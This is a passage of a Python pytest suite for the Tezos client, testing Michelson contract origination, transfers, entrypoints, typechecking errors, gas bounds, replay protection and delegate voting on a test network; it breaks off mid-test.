0, 'bootstrap2', 'self_address_sender', ['--arg', f'"{receiver_address}"', '--burn-cap', '2'], ) utils.bake(client, 'bootstrap5') @pytest.mark.slow @pytest.mark.contract @pytest.mark.regression class TestScriptHashRegression: @pytest.mark.parametrize("contract", all_contracts()) def test_contract_hash(self, client_regtest: Client, contract): client = client_regtest assert contract.endswith( '.tz' ), "test contract should have .tz extension" client.hash_script(os.path.join(CONTRACT_PATH, contract)) @pytest.mark.contract class TestScriptHashOrigination: def test_contract_hash_with_origination( self, client: Client, session: dict ): script = 'parameter unit; storage unit; code {CAR; NIL operation; PAIR}' originate( client, session, contract=script, init_storage='Unit', amount=1000, contract_name='dummy_contract', ) hash1 = client.hash_script(script) hash2 = client.get_script_hash('dummy_contract') assert hash1 == hash2 @pytest.mark.contract @pytest.mark.regression class TestNormalize: """Regression tests for the "normalize data" command.""" modes = [None, 'Readable', 'Optimized', 'Optimized_legacy'] @pytest.mark.parametrize('mode', modes) def test_normalize_unparsing_mode(self, client_regtest_scrubbed, mode): client = client_regtest_scrubbed input_data = ( '{Pair 0 3 6 9; Pair 1 (Pair 4 (Pair 7 10)); {2; 5; 8; 11}}' ) input_type = 'list (pair nat nat nat nat)' client.normalize(input_data, input_type, mode=mode) def test_normalize_legacy_flag(self, client_regtest_scrubbed): client = client_regtest_scrubbed input_data = '{Elt %a 0 1}' input_type = 'map nat nat' client.normalize(input_data, input_type, legacy=True) error_pattern = 'unexpected annotation.' with utils.assert_run_failure(error_pattern): client.normalize(input_data, input_type, legacy=False) @pytest.mark.parametrize('mode', modes) def test_normalize_script(self, client_regtest_scrubbed, mode): client = client_regtest_scrubbed path = os.path.join(CONTRACT_PATH, 'opcodes', 'comb-literals.tz') client.normalize_script(path, mode=mode) types = [ 'nat', 'list nat', 'pair nat int', 'list (pair nat int)', 'pair nat int bool', 'list (pair nat int bool)', 'pair nat int bool bytes', 'list (pair nat int bool bytes)', ] @pytest.mark.parametrize('typ', types) def test_normalize_type(self, client_regtest_scrubbed, typ): client = client_regtest_scrubbed client.normalize_type(typ)

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import os import re import json import itertools from typing import List, Union, Any import pytest from client.client import Client from tools import utils from tools.constants import IDENTITIES from .contract_paths import ( CONTRACT_PATH, ILLTYPED_CONTRACT_PATH, all_contracts, all_legacy_contracts, ) def file_basename(path): return os.path.splitext(os.path.basename(path))[0] def originate( client, session, contract, init_storage, amount, contract_name=None, sender='bootstrap1', baker='bootstrap5', arguments=None, ): if contract_name is None: contract_name = file_basename(contract) args = ['--init', init_storage, '--burn-cap', '10.0'] if arguments is not None: args += arguments origination = client.originate( contract_name, amount, sender, contract, args ) session['contract'] = origination.contract print(origination.contract) utils.bake(client, baker) assert utils.check_block_contains_operations( client, [origination.operation_hash] ) return origination @pytest.mark.contract @pytest.mark.incremental class TestManager: def test_manager_origination(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'entrypoints', 'manager.tz') pubkey = IDENTITIES['bootstrap2']['identity'] originate(client, session, path, f'"{pubkey}"', 1000) originate( client, session, path, f'"{pubkey}"', 1000, contract_name="manager2" ) def test_delegatable_origination(self, client: Client, session: dict): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'delegatable_target.tz' ) pubkey = IDENTITIES['bootstrap2']['identity'] originate( client, session, path, f'Pair "{pubkey}" (Pair "hello" 45)', 1000 ) def test_target_with_entrypoints_origination(self, client: Client, session): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'big_map_entrypoints.tz' ) originate( client, session, path, 'Pair {} {}', 1000, contract_name='target' ) def test_target_without_entrypoints_origination( self, client: Client, session ): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'no_entrypoint_target.tz' ) originate( client, session, path, 'Pair "hello" 42', 1000, contract_name='target_no_entrypoints', ) def test_target_without_default_origination(self, client: Client, session): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'no_default_target.tz' ) originate( client, session, path, 'Pair "hello" 42', 1000, contract_name='target_no_default', ) def test_target_with_root_origination(self, client: Client, session): path = os.path.join(CONTRACT_PATH, 'entrypoints', 'rooted_target.tz') originate( client, session, path, 'Pair "hello" 42', 1000, contract_name='rooted_target', ) def test_manager_set_delegate(self, client: Client): client.set_delegate('manager', 'bootstrap2', []) utils.bake(client, 'bootstrap5') bootstrap2_pkh = IDENTITIES['bootstrap2']['identity'] client.set_delegate('delegatable_target', bootstrap2_pkh, []) utils.bake(client, 'bootstrap5') delegate = IDENTITIES['bootstrap2']['identity'] assert client.get_delegate('manager', []).delegate == delegate assert ( client.get_delegate('delegatable_target', []).delegate == delegate ) client.set_delegate('manager', 'bootstrap3', []) utils.bake(client, 'bootstrap5') client.set_delegate('delegatable_target', 'bootstrap3', []) utils.bake(client, 'bootstrap5') delegate = IDENTITIES['bootstrap3']['identity'] assert client.get_delegate('manager', []).delegate == delegate assert ( client.get_delegate('delegatable_target', []).delegate == delegate ) def test_manager_withdraw_delegate(self, client: Client): client.withdraw_delegate('manager', []) utils.bake(client, 'bootstrap5') client.withdraw_delegate('delegatable_target', []) utils.bake(client, 'bootstrap5') assert client.get_delegate('manager', []).delegate is None assert client.get_delegate('delegatable_target', []).delegate is None def test_transfer_to_manager(self, client: Client): balance = client.get_mutez_balance('manager') balance_bootstrap = client.get_mutez_balance('bootstrap2') amount = 10.001 amount_mutez = utils.mutez_of_tez(amount) client.transfer( amount, 'bootstrap2', 'manager', ['--gas-limit', f'{128 * 15450 + 108}'], ) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.000548 fee_mutez = utils.mutez_of_tez(fee) assert balance + amount_mutez == new_balance assert ( balance_bootstrap - fee_mutez - amount_mutez == new_balance_bootstrap ) def test_simple_transfer_from_manager_to_implicit(self, client: Client): balance = client.get_mutez_balance('manager') balance_bootstrap = client.get_mutez_balance('bootstrap2') amount = 10.1 amount_mutez = utils.mutez_of_tez(amount) client.transfer( amount, 'manager', 'bootstrap2', ['--gas-limit', f'{128 * 26350 + 12}'], ) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.000794 fee_mutez = utils.mutez_of_tez(fee) assert balance - amount_mutez == new_balance assert ( balance_bootstrap + amount_mutez - fee_mutez == new_balance_bootstrap ) def test_transfer_from_manager_to_manager(self, client: Client): balance = client.get_mutez_balance('manager') balance_dest = client.get_mutez_balance('manager2') balance_bootstrap = client.get_mutez_balance('bootstrap2') amount = 10 amount_mutez = utils.mutez_of_tez(amount) client.transfer( amount, 'manager', 'manager2', ['--gas-limit', f'{128 * 44950 + 112}'], ) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_dest = client.get_mutez_balance('manager2') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.001124 fee_mutez = utils.mutez_of_tez(fee) assert balance_bootstrap - fee_mutez == new_balance_bootstrap assert balance - amount_mutez == new_balance assert balance_dest + amount_mutez == new_balance_dest def test_transfer_from_manager_to_default(self, client: Client): client.transfer( 10, 'manager', 'bootstrap2', ['--entrypoint', 'default'] ) utils.bake(client, 'bootstrap5') client.transfer(10, 'manager', 'manager', ['--entrypoint', 'default']) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_target(self, client: Client): client.transfer(10, 'manager', 'target', ['--burn-cap', '0.356']) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_entrypoint_with_args( self, client: Client ): arg = 'Pair "hello" 42' client.transfer( 0, 'manager', 'target', ['--entrypoint', 'add_left', '--arg', arg, '--burn-cap', '0.067'], ) utils.bake(client, 'bootstrap5') client.transfer( 0, 'manager', 'target', ['--entrypoint', 'mem_left', '--arg', '"hello"'], ) utils.bake(client, 'bootstrap5') client.call( 'manager', 'target', ['--entrypoint', 'add_left', '--arg', arg, '--burn-cap', '0.067'], ) utils.bake(client, 'bootstrap5') client.call( 'manager', 'target', ['--entrypoint', 'mem_left', '--arg', '"hello"'], ) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_no_entrypoint_with_args( self, client: Client ): arg = 'Left Unit' client.transfer(0, 'manager', 'target_no_entrypoints', ['--arg', arg]) utils.bake(client, 'bootstrap5') client.call('manager', 'target_no_entrypoints', ['--arg', arg]) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_no_default_with_args( self, client: Client ): arg = 'Left Unit' client.transfer(0, 'manager', 'target_no_default', ['--arg', arg]) utils.bake(client, 'bootstrap5') client.call('manager', 'target_no_default', ['--arg', arg]) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_rooted_target_with_args( self, client: Client ): arg = 'Left Unit' client.transfer( 0, 'manager', 'rooted_target', ['--arg', arg, '--entrypoint', 'root'], ) utils.bake(client, 'bootstrap5') client.call( 'manager', 'rooted_target', ['--arg', arg, '--entrypoint', 'root'] ) utils.bake(client, 'bootstrap5') def test_transfer_json_to_entrypoint_with_args(self, client): balance = client.get_mutez_balance('manager') balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.0123 fee_mutez = utils.mutez_of_tez(fee) json_obj = [ { "destination": "target", "amount": "0", "fee": str(fee), "gas-limit": "65942", "storage-limit": "1024", "arg": 'Pair "hello" 42', "entrypoint": "add_left", } ] json_ops = json.dumps(json_obj, separators=(',', ':')) client.run(client.cmd_batch('manager', json_ops)) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') assert balance == new_balance assert balance_bootstrap - fee_mutez == new_balance_bootstrap def test_multiple_transfers(self, client): balance = client.get_mutez_balance('manager') balance_bootstrap2 = client.get_mutez_balance('bootstrap2') balance_bootstrap3 = client.get_mutez_balance('bootstrap3') amount_2 = 10.1 amount_mutez_2 = utils.mutez_of_tez(amount_2) amount_3 = 11.01 amount_mutez_3 = utils.mutez_of_tez(amount_3) json_obj = [ {"destination": "bootstrap2", "amount": str(amount_2)}, {"destination": "bootstrap3", "amount": str(amount_3)}, ] json_ops = json.dumps(json_obj, separators=(',', ':')) client.run(client.cmd_batch('manager', json_ops)) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap2 = client.get_mutez_balance('bootstrap2') new_balance_bootstrap3 = client.get_mutez_balance('bootstrap3') fee_mutez = 794 + 698 assert balance - amount_mutez_2 - amount_mutez_3 == new_balance assert ( balance_bootstrap2 + amount_mutez_2 - fee_mutez == new_balance_bootstrap2 ) assert balance_bootstrap3 + amount_mutez_3 == new_balance_bootstrap3 # In DFS, Storer will end up with storage ABC. @pytest.mark.contract @pytest.mark.incremental class TestExecutionOrdering: STORER = f'{CONTRACT_PATH}/mini_scenarios/execution_order_storer.tz' CALLER = f'{CONTRACT_PATH}/mini_scenarios/execution_order_caller.tz' APPENDER = f'{CONTRACT_PATH}/mini_scenarios/execution_order_appender.tz' def originate_storer(self, client: Client, session: dict): origination = originate( client, session, self.STORER, '""', 0, arguments=['--force'] ) session['storer'] = origination.contract utils.bake(client, 'bootstrap3') return origination.contract def originate_appender( self, client: Client, session: dict, storer: str, argument: str ): origination = originate( client, session, self.APPENDER, f'Pair "{storer}" "{argument}"', 0, contract_name=f'appender-{argument}', arguments=['--force'], ) session[f'appender.{argument}'] = origination.contract utils.bake(client, 'bootstrap3') return origination.contract def originate_caller( self, client: Client, session: dict, callees: List[str] ): storage = "{" + '; '.join(map('"{}"'.format, callees)) + "}" origination = originate( client, session, self.CALLER, storage, 0, contract_name=f'caller-{hash(storage)}', ) utils.bake(client, 'bootstrap3') return origination.contract @pytest.mark.parametrize( "tree, expected", [ # before 009, the result should be "DABCEFG". ([["A", "B", "C"], "D", ["E", "F", "G"]], "ABCDEFG"), # before 009, the result should be "ACB". ([["A", ["B"], "C"]], "ABC"), # before 009, the result should be "ABDC". ([["A", ["B", ["C"], "D"]]], "ABCD"), ([], ""), ], ) def test_ordering( self, client: Client, session: dict, # approximation of recursive type annotation tree: Union[str, List[Any]], expected: str, ): storer = self.originate_storer(client, session) def deploy_tree(tree: Union[str, List[Any]]) -> str: # leaf if isinstance(tree, str): # deploy and return caller str return self.originate_appender(client, session, storer, tree) # inner node children = list(map(deploy_tree, tree)) return self.originate_caller(client, session, children) root = deploy_tree(tree) client.transfer( 0, 'bootstrap2', root, ["--burn-cap", "5"], ) utils.bake(client, 'bootstrap3') assert client.get_storage(storer) == '"{}"'.format(expected) @pytest.mark.slow @pytest.mark.contract class TestContracts: @pytest.mark.parametrize("contract", all_contracts()) def test_typecheck(self, client: Client, contract): assert contract.endswith( '.tz' ), "test contract should have .tz extension" client.typecheck(os.path.join(CONTRACT_PATH, contract)) @pytest.mark.parametrize("contract", all_legacy_contracts()) def test_deprecated_typecheck_breaks(self, client, contract): if contract in [ "legacy/create_contract.tz", "legacy/create_contract_flags.tz", "legacy/create_contract_rootname.tz", ]: with utils.assert_run_failure(r'ill-typed script'): client.typecheck(os.path.join(CONTRACT_PATH, contract)) else: with utils.assert_run_failure(r'Use of deprecated instruction'): client.typecheck(os.path.join(CONTRACT_PATH, contract)) @pytest.mark.parametrize("contract", all_legacy_contracts()) def test_deprecated_typecheck_in_legacy(self, client, contract): if contract in [ "legacy/create_contract.tz", "legacy/create_contract_flags.tz", "legacy/create_contract_rootname.tz", ]: with utils.assert_run_failure(r'ill-typed script'): client.typecheck( os.path.join(CONTRACT_PATH, contract), legacy=True ) else: with utils.assert_run_failure(r'Use of deprecated instruction'): client.typecheck( os.path.join(CONTRACT_PATH, contract), legacy=True ) @pytest.mark.parametrize( "contract,error_pattern", [ # operations cannot be PACKed ( "pack_operation.tz", r'operation type forbidden in parameter, storage and constants', ), # big_maps cannot be PACKed ( "pack_big_map.tz", r'big_map or sapling_state type not expected here', ), ( "invalid_self_entrypoint.tz", r'Contract has no entrypoint named D', ), ("contract_annotation_default.tz", r'unexpected annotation'), # Missing field ( "missing_only_storage_field.tz", r'Missing contract field: storage', ), ("missing_only_code_field.tz", r'Missing contract field: code'), ( "missing_only_parameter_field.tz", r'Missing contract field: parameter', ), ( "missing_parameter_and_storage_fields.tz", r'Missing contract field: parameter', ), # Duplicated field ( "multiple_parameter_field.tz", r'duplicate contract field: parameter', ), ("multiple_code_field.tz", r'duplicate contract field: code'), ("multiple_storage_field.tz", r'duplicate contract field: storage'), # The first duplicated field is reported, storage in this case ( "multiple_storage_and_code_fields.tz", r'duplicate contract field: storage', ), # error message for set update on non-comparable type ( "set_update_non_comparable.tz", r'Type nat is not compatible with type list operation', ), # error message for the arity of the chain_id type ( "chain_id_arity.tz", r'primitive chain_id expects 0 arguments but is given 1', ), # error message for DIP over the limit ("big_dip.tz", r'expected a positive 10-bit integer'), # error message for DROP over the limit ("big_drop.tz", r'expected a positive 10-bit integer'), # error message for set update on non-comparable type ( "set_update_non_comparable.tz", r'Type nat is not compatible with type list operation', ), # error message for attempting to push a value of type never ("never_literal.tz", r'type never has no inhabitant.'), # field annotation mismatch with UNPAIR ( "unpair_field_annotation_mismatch.tz", r'The field access annotation does not match', ), # COMB, UNCOMB, and DUP cannot take 0 as argument ("comb0.tz", r"PAIR expects an argument of at least 2"), ("comb1.tz", r"PAIR expects an argument of at least 2"), ("uncomb0.tz", r"UNPAIR expects an argument of at least 2"), ("uncomb1.tz", r"UNPAIR expects an argument of at least 2"), ("dup0.tz", r"DUP n expects an argument of at least 1"), ( "push_big_map_with_id_with_parens.tz", r"big_map or sapling_state type not expected here", ), ( "push_big_map_with_id_without_parens.tz", r"primitive PUSH expects 2 arguments but is given 4", ), # sapling_state is not packable ( "pack_sapling_state.tz", r"big_map or sapling_state type not expected here", ), # sapling_state is not packable ( "unpack_sapling_state.tz", r"big_map or sapling_state type not expected here", ), # Ticket duplication attempt ("ticket_dup.tz", r'DUP used on the non-dupable type ticket nat'), # error message for ticket unpack ("ticket_unpack.tz", r'Ticket in unauthorized position'), # error message for attempting to use APPLY to capture a ticket ("ticket_apply.tz", r'Ticket in unauthorized position'), # error message for attempting to wrap a ticket in a ticket ( "ticket_in_ticket.tz", r'comparable type expected.Type ticket unit is not comparable', ), ], ) def test_ill_typecheck(self, client: Client, contract, error_pattern): with utils.assert_run_failure(error_pattern): client.typecheck(os.path.join(ILLTYPED_CONTRACT_PATH, contract)) def test_zero_transfer_to_implicit_contract(self, client): pubkey = IDENTITIES['bootstrap3']['identity'] err = ( 'Transaction of 0ꜩ towards a contract without code are ' rf'forbidden ${pubkey}$.' ) with utils.assert_run_failure(err): client.transfer(0, 'bootstrap2', 'bootstrap3', []) def test_zero_transfer_to_nonexistent_contract(self, client): nonexistent = "KT1Fcq4inD44aMhmUiTEHR1QMQwJT7p2u641" err = rf'Contract {nonexistent} does not exist' with utils.assert_run_failure(err): client.transfer(0, 'bootstrap2', nonexistent, []) FIRST_EXPLOSION = ''' { parameter unit; storage unit; code{ DROP; PUSH nat 0 ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DROP ; UNIT ; NIL operation ; PAIR} } ''' # FIRST_EXPLOSION costs a large amount of gas just for typechecking. # FIRST_EXPLOSION_BIGTYPE type size exceeds the protocol set bound. FIRST_EXPLOSION_BIGTYPE = ''' { parameter unit; storage unit; code{ DROP; PUSH nat 0 ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DROP ; UNIT ; NIL operation ; PAIR} } ''' SECOND_EXPLOSION = ''' { parameter (list int) ; storage (list (list (list int))) ; code { CAR ; DIP { NIL (list int) } ; DUP ; ITER { DROP ; DUP ; DIP { CONS } } ; DROP ; DIP { NIL (list (list int)) } ; DUP ; ITER { DROP ; DUP ; DIP { CONS } } ; DROP ; NIL operation ; PAIR } } ''' @pytest.mark.contract class TestGasBound: def test_write_contract(self, tmpdir, session: dict): items = { 'first_explosion.tz': FIRST_EXPLOSION, 'first_explosion_bigtype.tz': FIRST_EXPLOSION_BIGTYPE, 'second_explosion.tz': SECOND_EXPLOSION, }.items() for name, script in items: contract = f'{tmpdir}/{name}' with open(contract, 'w') as contract_file: contract_file.write(script) session[name] = contract def test_originate_first_explosion(self, client: Client, session: dict): name = 'first_explosion.tz' contract = session[name] client.typecheck(contract) args = ['-G', f'{1870}', '--burn-cap', '10'] expected_error = "Gas limit exceeded during typechecking or execution" with utils.assert_run_failure(expected_error): client.originate(f'{name}', 0, 'bootstrap1', contract, args) def test_originate_big_type(self, client: Client, session: dict): name = 'first_explosion_bigtype.tz' contract = session[name] # We could not be bothered with finding how to escape parentheses # so we put dots expected_error = "type size .1023. exceeded maximum type size .1000." with utils.assert_run_failure(expected_error): client.typecheck(contract) def test_originate_second_explosion(self, client: Client, session: dict): name = 'second_explosion.tz' contract = session[name] storage = '{}' inp = '{1;2;3;4;5;6;7;8;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1}' client.run_script(contract, storage, inp) def test_originate_second_explosion_fail( self, client: Client, session: dict ): name = 'second_explosion.tz' contract = session[name] storage = '{}' inp = ( '{1;2;3;4;5;6;7;8;9;0;1;2;3;4;5;6;7;1;1;1;1;1;1;1;1;1;1;1' + ';1;1;1;1;1;1;1;1;1;1;1;1;1;1}' ) expected_error = ( "Cannot serialize the resulting storage" + " value within the provided gas bounds." ) with utils.assert_run_failure(expected_error): client.run_script(contract, storage, inp, gas=9290) def test_typecheck_map_dup_key(self, client: Client): expected_error = ( 'Map literals cannot contain duplicate' + ' keys, however a duplicate key was found' ) with utils.assert_run_failure(expected_error): client.typecheck_data('{ Elt 0 1 ; Elt 0 1}', '(map nat nat)') def test_typecheck_map_bad_ordering(self, client: Client): expected_error = ( "Keys in a map literal must be in strictly" + " ascending order, but they were unordered in literal" ) with utils.assert_run_failure(expected_error): client.typecheck_data( '{ Elt 0 1 ; Elt 10 1 ; Elt 5 1 }', '(map nat nat)' ) def test_typecheck_set_bad_ordering(self, client: Client): expected_error = ( "Values in a set literal must be in strictly" + " ascending order, but they were unordered in literal" ) with utils.assert_run_failure(expected_error): client.typecheck_data('{ "A" ; "C" ; "B" }', '(set string)') def test_typecheck_set_no_duplicates(self, client: Client): expected_error = ( "Set literals cannot contain duplicate values," + " however a duplicate value was found" ) with utils.assert_run_failure(expected_error): client.typecheck_data('{ "A" ; "B" ; "B" }', '(set string)') @pytest.mark.contract class TestChainId: def test_chain_id_opcode(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'opcodes', 'chain_id.tz') originate(client, session, path, 'Unit', 0) client.call('bootstrap2', "chain_id", []) utils.bake(client, 'bootstrap5') def test_chain_id_authentication_origination(self, client: Client, session): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'authentication.tz' ) pubkey = IDENTITIES['bootstrap1']['public'] originate(client, session, path, f'Pair 0 "{pubkey}"', 1000) utils.bake(client, 'bootstrap5') def test_chain_id_authentication_first_run( self, client: Client, session: dict ): destination = IDENTITIES['bootstrap2']['identity'] operation = ( '{DROP; NIL operation; ' + f'PUSH address "{destination}"; ' + 'CONTRACT unit; ASSERT_SOME; PUSH mutez 1000; UNIT; ' + 'TRANSFER_TOKENS; CONS}' ) chain_id = client.rpc('get', 'chains/main/chain_id') contract_address = session['contract'] packed = client.pack( f'Pair (Pair "{chain_id}" "{contract_address}") ' + f'(Pair {operation} 0)', 'pair (pair chain_id address)' + '(pair (lambda unit (list operation)) nat)', ) signature = client.sign_bytes_of_string(packed, "bootstrap1") client.call( 'bootstrap2', 'authentication', ['--arg', f'Pair {operation} \"{signature}\"'], ) utils.bake(client, 'bootstrap5') @pytest.mark.contract class TestBigMapToSelf: def test_big_map_to_self_origination(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'opcodes', 'big_map_to_self.tz') originate(client, session, path, '{}', 0) utils.bake(client, 'bootstrap5') def test_big_map_to_self_transfer(self, client: Client): client.call('bootstrap2', "big_map_to_self", []) utils.bake(client, 'bootstrap5') client.transfer(0, 'bootstrap2', "big_map_to_self", []) utils.bake(client, 'bootstrap5') @pytest.mark.contract class TestNonRegression: def test_issue_242_originate(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'non_regression', 'bug_262.tz') originate(client, session, path, 'Unit', 1) def test_issue_242_assert_balance(self, client: Client): assert client.get_balance('bug_262') == 1 @pytest.mark.contract class TestMiniScenarios: # replay.tz related tests def test_replay_originate(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'mini_scenarios', 'replay.tz') originate(client, session, path, 'Unit', 0) def test_replay_transfer_fail(self, client: Client): with utils.assert_run_failure("Internal operation replay attempt"): client.transfer(10, "bootstrap1", "replay", []) # create_contract.tz related tests def test_create_contract_originate(self, client: Client, session: dict): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'create_contract.tz' ) originate(client, session, path, 'Unit', 1000) def test_create_contract_balance(self, client: Client): assert client.get_balance('create_contract') == 1000 def test_create_contract_perform_creation(self, client: Client): transfer_result = client.transfer( 0, "bootstrap1", "create_contract", ['-arg', 'None', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') pattern = r"New contract (\w*) originated" match = re.search(pattern, transfer_result.client_output) assert match is not None kt_1 = match.groups()[0] assert client.get_storage(kt_1) == '"abcdefg"' assert client.get_balance(kt_1) == 100 assert client.get_balance('create_contract') == 900 # Originates a contract that when called, creates a contract with a # rootname annotation. Such annotations comes in two flavors, thus the # parameterization. Then calls the first contract and verifies the # existence and type of the root entrypoint of the create contract. @pytest.mark.parametrize( "contract", [ 'create_contract_rootname.tz', 'create_contract_rootname_alt.tz', ], ) def test_create_contract_rootname_originate( self, client: Client, session: dict, contract ): path = os.path.join(CONTRACT_PATH, 'opcodes', contract) origination_res = originate(client, session, path, 'None', 1000) transfer_result = client.transfer( 0, "bootstrap1", origination_res.contract, ['-arg', 'Unit', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') pattern = r"New contract (\w*) originated" match = re.search(pattern, transfer_result.client_output) assert match is not None kt_1 = match.groups()[0] entrypoint_type = client.get_contract_entrypoint_type( 'root', kt_1 ).entrypoint_type assert entrypoint_type == 'unit', ( 'the entrypoint my_root of the originated contract should exist' 'with type unit' ) # default_account.tz related tests def test_default_account_originate(self, client: Client, session: dict): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'default_account.tz' ) originate(client, session, path, 'Unit', 1000) def test_default_account_transfer_then_bake(self, client: Client): tz1 = IDENTITIES['bootstrap4']['identity'] client.transfer( 0, "bootstrap1", "default_account", ['-arg', f'"{tz1}"', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') account = 'tz1SuakBpFdG9b4twyfrSMqZzruxhpMeSrE5' client.transfer( 0, "bootstrap1", "default_account", ['-arg', f'"{account}"', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') assert client.get_balance(account) == 100 # Test bytes, SHA252, CHECK_SIGNATURE def test_reveal_signed_preimage_originate( self, client: Client, session: dict ): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'reveal_signed_preimage.tz' ) byt = ( '0x9995c2ef7bcc7ae3bd15bdd9b02' + 'dc6e877c27b26732340d641a4cbc6524813bb' ) sign = 'p2pk66uq221795tFxT7jfNmXtBMdjMf6RAaxRTwv1dbuSHbH6yfqGwz' storage = f'(Pair {byt} "{sign}")' originate(client, session, path, storage, 1000) def test_wrong_preimage(self, client: Client): byt = ( '0x050100000027566f756c657a2d766f75732' + '0636f75636865722061766563206d6f692c20636520736f6972' ) sign = ( 'p2sigvgDSBnN1bUsfwyMvqpJA1cFhE5s5oi7SetJ' + 'VQ6LJsbFrU2idPvnvwJhf5v9DhM9ZTX1euS9DgWozVw6BTHiK9VcQVpAU8' ) arg = f'(Pair {byt} "{sign}")' # We check failure of ASSERT_CMPEQ in the script. with utils.assert_run_failure("At line 8 characters 9 to 21"): client.transfer( 0, "bootstrap1", "reveal_signed_preimage", ['-arg', arg, '--burn-cap', '10'], ) def test_wrong_signature(self, client: Client): byt = ( '0x050100000027566f756c657a2d766f757320636' + 'f75636865722061766563206d6f692c20636520736f6972203f' ) sign = ( 'p2sigvgDSBnN1bUsfwyMvqpJA1cFhE5s5oi7SetJVQ6' + 'LJsbFrU2idPvnvwJhf5v9DhM9ZTX1euS9DgWozVw6BTHiK9VcQVpAU8' ) arg = f'(Pair {byt} "{sign}")' # We check failure of CHECK_SIGNATURE ; ASSERT in the script. with utils.assert_run_failure("At line 15 characters 9 to 15"): client.transfer( 0, "bootstrap1", "reveal_signed_preimage", ['-arg', arg, '--burn-cap', '10'], ) def test_good_preimage_and_signature(self, client: Client): byt = ( '0x050100000027566f756c657a2d766f757320636f7563' + '6865722061766563206d6f692c20636520736f6972203f' ) sign = ( 'p2sigsceCzcDw2AeYDzUonj4JT341WC9Px4wdhHBxbZcG1F' + 'hfqFVuG7f2fGCzrEHSAZgrsrQWpxduDPk9qZRgrpzwJnSHC3gZJ' ) arg = f'(Pair {byt} "{sign}")' client.transfer( 0, "bootstrap1", "reveal_signed_preimage", ['-arg', arg, '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') # Test vote_for_delegate def test_vote_for_delegate_originate(self, client: Client, session: dict): b_3 = IDENTITIES['bootstrap3']['identity'] b_4 = IDENTITIES['bootstrap4']['identity'] path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'vote_for_delegate.tz' ) storage = f'''(Pair (Pair "{b_3}" None) (Pair "{b_4}" None))''' originate(client, session, path, storage, 1000) assert client.get_delegate('vote_for_delegate').delegate is None def test_vote_for_delegate_wrong_identity1(self, client: Client): # We check failure of CHECK_SIGNATURE ; ASSERT in the script. with utils.assert_run_failure("At line 15 characters 57 to 61"): client.transfer( 0, "bootstrap1", "vote_for_delegate", ['-arg', 'None', '--burn-cap', '10'], ) def test_vote_for_delegate_wrong_identity2(self, client: Client): # We check failure of CHECK_SIGNATURE ; ASSERT in the script. with utils.assert_run_failure("At line 15 characters 57 to 61"): client.transfer( 0, "bootstrap2", "vote_for_delegate", ['-arg', 'None', '--burn-cap', '10'], ) def test_vote_for_delegate_b3_vote_for_b5(self, client: Client): b_5 = IDENTITIES['bootstrap5']['identity'] client.transfer( 0, "bootstrap3", "vote_for_delegate", ['-arg', f'(Some "{b_5}")', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') storage = client.get_storage('vote_for_delegate') assert re.search(b_5, storage) def test_vote_for_delegate_still_no_delegate1(self, client: Client): assert client.get_delegate('vote_for_delegate').delegate is None def test_vote_for_delegate_b4_vote_for_b2(self, client: Client): b_2 = IDENTITIES['bootstrap2']['identity'] client.transfer( 0, "bootstrap4", "vote_for_delegate", ['-arg', f'(Some "{b_2}")', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') storage = client.get_storage('vote_for_delegate') assert re.search(b_2, storage) def test_vote_for_delegate_still_no_delegate2(self, client: Client): assert client.get_delegate('vote_for_delegate').delegate is None def test_vote_for_delegate_b4_vote_for_b5(self, client: Client): b_5 = IDENTITIES['bootstrap5']['identity'] client.transfer( 0, "bootstrap4", "vote_for_delegate", ['-arg', f'(Some "{b_5}")', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') storage = client.get_storage('vote_for_delegate') assert re.search(b_5, storage) def test_vote_for_delegate_has_delegate(self, client: Client): b_5 = IDENTITIES['bootstrap5']['identity'] result = client.get_delegate('vote_for_delegate') assert result.delegate == b_5 def test_multiple_entrypoints_counter(self, session: dict, client: Client): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'multiple_entrypoints_counter.tz' ) storage = 'None' # originate contract originate(client, 